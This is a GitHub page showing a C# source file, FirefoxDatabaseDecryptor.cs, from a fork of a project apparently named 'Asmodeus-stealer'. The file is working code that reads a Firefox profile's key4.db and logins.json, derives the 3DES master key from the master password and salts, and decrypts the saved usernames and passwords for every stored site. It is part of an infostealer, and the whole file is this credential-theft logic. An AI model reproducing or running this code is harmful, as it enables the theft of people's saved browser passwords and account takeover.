forked from exploitblizzard/Asmodeus-stealer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathFirefoxDatabaseDecryptor.cs
372 lines (310 loc) · 16.3 KB
/
FirefoxDatabaseDecryptor.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Data.SQLite;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
namespace UploadAFile
{
public class FirefoxDatabaseDecryptor
{
private string ProfileDir { get; set; }
private string Key4dbpath { get; set; }
private byte[] GlobalSalt { get; set; }
private byte[] EntrySaltPasswordCheck { get; set; }
private byte[] EntrySalt3DESKey { get; set; }
private byte[] CipherTextPasswordCheck { get; set; }
private byte[] CipherText3DESKey { get; set; }
private string MasterPassword { get; set; }
private byte[] DecryptedPasswordCheck { get; set; }
private byte[] Decrypted3DESKey { get; set; }
public List<BrowserLoginData> FirefoxLoginDataList { get; set; }
public FirefoxDatabaseDecryptor(string profile, string password)
{
ProfileDir = profile;
Key4dbpath = ProfileDir + @"\key4.db";
MasterPassword = password;
//Check profile for key4 database before attempting decryption
if (File.Exists(Key4dbpath))
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"[+] Found Firefox credential database at: \"{Key4dbpath}\"");
Console.ResetColor();
// If Firefox version >= 75.0, asn.1 parser will throw IndexOutOfRange exception when trying to parse encrypted data as asn.1 DER encoded
try
{
Key4DatabaseConnection(Key4dbpath);
}
catch(IndexOutOfRangeException e)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"[-] Could not correctly parse the contents of {Key4dbpath} - possibly incorrect Firefox version.");
Console.ResetColor();
}
//Store a RootObject from FirefoxLoginsJSON (hopefully) containing multiple FirefoxLoginsJSON.Login instances
FirefoxLoginsJSON.Rootobject JSONLogins = GetJSONLogins(ProfileDir);
//Decrypt password-check value to ensure correct decryption
DecryptedPasswordCheck = Decrypt3DES(GlobalSalt, EntrySaltPasswordCheck, CipherTextPasswordCheck, MasterPassword);
if (PasswordCheck(DecryptedPasswordCheck))
{
//Decrypt master key (this becomes padded EDE key for username / password decryption)
//Master key should have 8 bytes of PKCS#7 Padding
Decrypted3DESKey = Decrypt3DES(GlobalSalt, EntrySalt3DESKey, CipherText3DESKey, MasterPassword);
//Check for PKCS#7 padding and remove if it exists
Decrypted3DESKey = Unpad(Decrypted3DESKey);
FirefoxLoginDataList = new List<BrowserLoginData>();
Console.ForegroundColor = ConsoleColor.Yellow;
foreach (FirefoxLoginsJSON.Login login in JSONLogins.Logins)
{
try
{
if (!(login.FormSubmitURL.Equals(null)))
{
byte[] usernameBytes = Convert.FromBase64String(login.EncryptedUsername);
byte[] passwordBytes = Convert.FromBase64String(login.EncryptedPassword);
ASN1 usernameASN1 = new ASN1(usernameBytes);
byte[] usernameIV = usernameASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[0];
byte[] usernameEncrypted = usernameASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[1];
//Extract password ciphertext from logins.json
ASN1 passwordASN1 = new ASN1(passwordBytes);
byte[] passwordIV = passwordASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[0];
byte[] passwordEncrypted = passwordASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[1];
string decryptedUsername = Encoding.UTF8.GetString(Unpad(Decrypt3DESLogins(usernameEncrypted, usernameIV, Decrypted3DESKey)));
string decryptedPassword = Encoding.UTF8.GetString(Unpad(Decrypt3DESLogins(passwordEncrypted, passwordIV, Decrypted3DESKey)));
BrowserLoginData loginData = new BrowserLoginData(login.FormSubmitURL, decryptedUsername, decryptedPassword, "Firefox");
FirefoxLoginDataList.Add(loginData);
}
}
catch (NullReferenceException)
{
}
}
Console.ResetColor();
}
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"[-] No credential database found for Firefox profile: {ProfileDir}");
Console.ResetColor();
}
}
// read logins.json file and deserialize the JSON into FirefoxLoginsJSON class
public FirefoxLoginsJSON.Rootobject GetJSONLogins(string profileDir)
{
if (File.Exists(profileDir + @"\logins.json"))
{
//Read logins.json from file and deserialise JSON into FirefoxLoginsJson object
string file = File.ReadAllText(profileDir + @"\logins.json");
FirefoxLoginsJSON.Rootobject JSONLogins = JsonConvert.DeserializeObject<FirefoxLoginsJSON.Rootobject>(file);
return JSONLogins;
}
else
{
throw new FileNotFoundException($"Could not find file '{profileDir}\\logins.json.\nUnable to decrypt logins for this profile.'");
}
}
public void Key4DatabaseConnection(string key4dbPath)
{
SQLiteConnection connection = new SQLiteConnection(
$"Data Source={key4dbPath};" +
$"Version=3;" +
$"New=True");
try
{
connection.Open();
//First query the metadata table to verify the master password
SQLiteCommand commandPasswordCheck = connection.CreateCommand();
commandPasswordCheck.CommandText = "SELECT item1, item2 FROM metadata WHERE id = 'password'";
SQLiteDataReader dataReader = commandPasswordCheck.ExecuteReader();
//Parse the ASN.1 data in the 'password' row to extract entry salt and cipher text for master password verification
while (dataReader.Read())
{
GlobalSalt = (byte[])dataReader[0];
//https://docs.microsoft[.]com/en-us/dotnet/api/system.security.cryptography.asnencodeddata?view=netframework-4.8#constructors
byte[] item2Bytes = (byte[])dataReader[1];
ASN1 passwordCheckASN1 = new ASN1(item2Bytes);
EntrySaltPasswordCheck = passwordCheckASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[0];
CipherTextPasswordCheck = passwordCheckASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[1];
}
//Second, query the nssPrivate table for entry salt and encrypted 3DES key
SQLiteCommand commandNSSPrivateQuery = connection.CreateCommand();
commandNSSPrivateQuery.CommandText = "SELECT a11 FROM nssPrivate";
dataReader = commandNSSPrivateQuery.ExecuteReader();
//Parse the ASN.1 data from the nssPrivate table to extract entry salt and cipher text for encrypted 3DES master decryption key
while (dataReader.Read())
{
byte[] a11 = (byte[])dataReader[0];
ASN1 masterKeyASN1 = new ASN1(a11);
EntrySalt3DESKey = masterKeyASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[0];
CipherText3DESKey = masterKeyASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[1];
}
}
catch (IndexOutOfRangeException)
{
throw new IndexOutOfRangeException();
}
catch (Exception e)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"[-] {e.Message}");
Console.ResetColor();
}
finally
{
connection.Dispose();
}
}
public static byte[] Decrypt3DES(byte[] globalSalt, byte[] entrySalt, byte[] cipherText, string masterPassword)
{
//https://github[.]com/lclevy/firepwd/blob/master/mozilla_pbe.pdf
byte[] password = Encoding.UTF8.GetBytes(masterPassword);
byte[] hashedPassword;
byte[] keyFirstHalf;
byte[] keySecondHalf;
byte[] edeKey;
byte[] decryptedResult;
//Hashed Password = SHA1(salt + password)
byte[] hashedPasswordBuffer = new byte[globalSalt.Length + password.Length];
//Copy salt into first chunk of new buffer
Buffer.BlockCopy(globalSalt, 0, hashedPasswordBuffer, 0, globalSalt.Length);
//Copy password into second chunk of buffer
Buffer.BlockCopy(password, 0, hashedPasswordBuffer, globalSalt.Length, password.Length);
hashedPassword = hashedPasswordBuffer;
using (SHA1 sha1 = new SHA1CryptoServiceProvider())
{
hashedPassword = sha1.ComputeHash(hashedPassword);
}
//Combined Hashed Password = SHA1(hashedpassword + entrysalt)
byte[] combinedHashedPassword = new byte[hashedPassword.Length + entrySalt.Length];
Buffer.BlockCopy(hashedPassword, 0, combinedHashedPassword, 0, hashedPassword.Length);
Buffer.BlockCopy(entrySalt, 0, combinedHashedPassword, hashedPassword.Length, entrySalt.Length);
using (SHA1 sha1 = new SHA1CryptoServiceProvider())
{
combinedHashedPassword = sha1.ComputeHash(combinedHashedPassword);
}
//Create paddedEntrySalt
byte[] paddedEntrySalt = new byte[20];
Buffer.BlockCopy(entrySalt, 0, paddedEntrySalt, 0, entrySalt.Length);
//Create and join the two halves of the encryption key
try
{
using (HMACSHA1 hmac = new HMACSHA1(combinedHashedPassword))
{
//First half of EDE Key = HMAC-SHA1( key=combinedHashedPassword, msg=paddedEntrySalt+entrySalt)
byte[] firstHalf = new byte[paddedEntrySalt.Length + entrySalt.Length];
Buffer.BlockCopy(paddedEntrySalt, 0, firstHalf, 0, paddedEntrySalt.Length);
Buffer.BlockCopy(entrySalt, 0, firstHalf, paddedEntrySalt.Length, entrySalt.Length);
//Create TK = HMAC-SHA1(combinedHashedPassword, paddedEntrySalt)
keyFirstHalf = hmac.ComputeHash(firstHalf);
byte[] tk = hmac.ComputeHash(paddedEntrySalt);
//Second half of EDE key = HMAC-SHA1(combinedHashedPassword, tk + entrySalt)
byte[] secondHalf = new byte[tk.Length + entrySalt.Length];
Buffer.BlockCopy(tk, 0, secondHalf, 0, entrySalt.Length);
Buffer.BlockCopy(entrySalt, 0, secondHalf, tk.Length, entrySalt.Length);
keySecondHalf = hmac.ComputeHash(secondHalf);
//Join first and second halves of EDE key
byte[] tempKey = new byte[keyFirstHalf.Length + keySecondHalf.Length];
Buffer.BlockCopy(keyFirstHalf, 0, tempKey, 0, keyFirstHalf.Length);
Buffer.BlockCopy(keySecondHalf, 0, tempKey, keyFirstHalf.Length, keySecondHalf.Length);
edeKey = tempKey;
}
byte[] key = new byte[24];
byte[] iv = new byte[8];
//Extract 3DES encryption key from first 24 bytes of EDE key
Buffer.BlockCopy(edeKey, 0, key, 0, 24);
//Extract initialization vector from last 8 bytes of EDE key
Buffer.BlockCopy(edeKey, (edeKey.Length - 8), iv, 0, 8);
using (TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider
{
Key = key,
IV = iv,
Mode = CipherMode.CBC,
Padding = PaddingMode.None
})
{
ICryptoTransform cryptoTransform = tripleDES.CreateDecryptor();
decryptedResult = cryptoTransform.TransformFinalBlock(cipherText, 0, cipherText.Length);
}
}
catch (Exception e)
{
Console.WriteLine($"Exception {e}");
decryptedResult = null;
}
Console.ResetColor();
return decryptedResult;
}
public static byte[] Decrypt3DESLogins(byte[] cipherText, byte[] iv, byte[] key)
{
byte[] decryptedResult = new byte[cipherText.Length];
try
{
using (TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider
{
Key = key,
IV = iv,
Mode = CipherMode.CBC,
Padding = PaddingMode.None
})
{
ICryptoTransform cryptoTransform = tripleDES.CreateDecryptor();
decryptedResult = cryptoTransform.TransformFinalBlock(cipherText, 0, cipherText.Length);
}
}
catch (Exception e)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"[-] {e.Message}");
Console.ResetColor();
}
return decryptedResult;
}
public static bool PasswordCheck(byte[] passwordCheck)
{
//checkValue = "password-check\x02\x02"
byte[] checkValue = new byte[] { 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2d, 0x63, 0x68, 0x65, 0x63, 0x6b, 0x02, 0x02 };
if (passwordCheck.SequenceEqual(checkValue))
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("[+] Password Check success!");
Console.ResetColor();
return true;
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[-] Password Check Fail...");
Console.ResetColor();
return false;
}
}
public byte[] Unpad(byte[] key)
{
bool paddingCheck = true;
//Check integer value of last byte of array
int paddingValue = key[key.Length - 1];
byte[] unpadded = new byte[key.Length - paddingValue];
//Check last n bytes of key for equality where n = integer value of last byte
for (int i = 1; i < (paddingValue + 1); i++)
{
if (!(key[key.Length - i] == paddingValue))
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"[-] Unpad() Error: Incorrect or Nil padding applied to byte array:\n{BitConverter.ToString(key)}");
Console.ResetColor();
//Throw exception here
paddingCheck = false;
}
}
if (paddingCheck)
{
//Create new bytearray with trailing padding bytes removed
Buffer.BlockCopy(key, 0, unpadded, 0, unpadded.Length);
}
return unpadded;
}
}
}